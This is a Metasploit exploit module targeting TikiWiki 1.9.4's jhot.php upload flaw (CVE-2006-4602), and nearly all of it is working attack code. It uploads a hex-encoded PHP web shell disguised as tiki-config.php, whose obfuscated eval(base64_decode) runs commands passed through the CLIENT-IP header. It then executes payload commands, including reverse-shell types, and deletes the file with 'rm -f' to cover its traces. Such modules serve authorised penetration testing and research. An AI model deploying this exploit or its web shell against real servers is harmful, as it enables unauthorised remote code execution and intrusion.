##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TikiWiki jhot Remote Command Execution',
      'Description'    => %q{
          TikiWiki contains a flaw that may allow a malicious user to execute
        arbitrary PHP code. The issue is triggered due to the jhot.php script
        not correctly verifying uploaded files. It is possible that the flaw
        may allow arbitrary PHP code execution by uploading a malicious PHP
        script resulting in a loss of integrity.

        The vulnerability was reported in Tikiwiki version 1.9.4.
      },
      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-4602'],
          ['OSVDB', '28456'],
          ['BID', '19819'],
          ['URL', 'http://secunia.com/advisories/21733/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Sep 2 2006',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),
      ])
  end

  def check
    res = send_request_raw(
      {
        'uri'     => normalize_uri(datastore['URI'], "/tiki-index.php"),
        'method'  => 'GET'
      }, 25)

    http_fingerprint({ :response => res })  # check method

    if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/))
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    create_temp_file()

    command = payload.encoded

    exe_command(command)

    remove_temp_file()
  end

  def create_temp_file
    url_jhot = normalize_uri(datastore['URI'], "/jhot.php")

    scode =
      "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
      "\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
      "\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
      "\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
      "\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
      "\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
      "\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
      "\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
      "\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
      "\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
      "\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
      "\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
      "\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
      "\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
      "\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
      "\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
      "\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
      "\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
      "\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
      "\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
      "\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
      "\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
      "\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
      "\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
      "\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
      "\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
      "\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
      "\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
      "\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
      "\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
      "\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
      "\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
      "\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
      "\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
      "\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
      "\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
      "\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
      "\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
      "\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
      "\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
      "\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"

    data =
      "-----------------------------7d529a1d23092a\r\n" +
      "Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
      scode +
      "\r\n" +
      "-----------------------------7d529a1d23092a--\r\n"

    res = send_request_cgi({
      'uri'     => url_jhot,
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
        {
          'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',
          'Connection'   => 'Close',
        }
      }, 25)

    if (res and res.message == "OK")
      print_good("Successfully created temporary file.")
    else
      print_error("Error creating temporary file.")
    end
  end

  def exe_command(cmd)
    url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php")

    res = send_request_raw({
      'uri'     => url_config,
      'method'  => 'GET',
      'headers' =>
        {
          'CLIENT-IP'  => "#{cmd};",
          'Connection' => 'Close',
        }
      }, 25)

    if (res and res.message == "OK" and res.body.match(/my_delim/m))
      print_status("The server returned            : #{res.code} #{res.message} (#{res.headers['Server']})")

      cmd_output = res.body.match(/my_delim(.*)/m)

      if (cmd_output)
        print_status("Command output from the server :")
        print("\n" + cmd_output[1] + "\n")
      else
        print_error('No command output found. This server may not be vulnerable.')
      end
    else
      print_error("No response from the server")
    end
  end

  def remove_temp_file
    url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php")

    res = send_request_raw({
      'uri'     => url_config,
      'method'  => 'GET',
      'headers' =>
        {
          'CLIENT-IP'  => 'rm -f tiki-config.php',
          'Connection' => 'Close',
        }
      }, 25)

    if (res and res.message == "OK")
      print_good("Successfully remove temporary file.")
    else
      print_error("Error removing temporary file.")
    end
  end
end
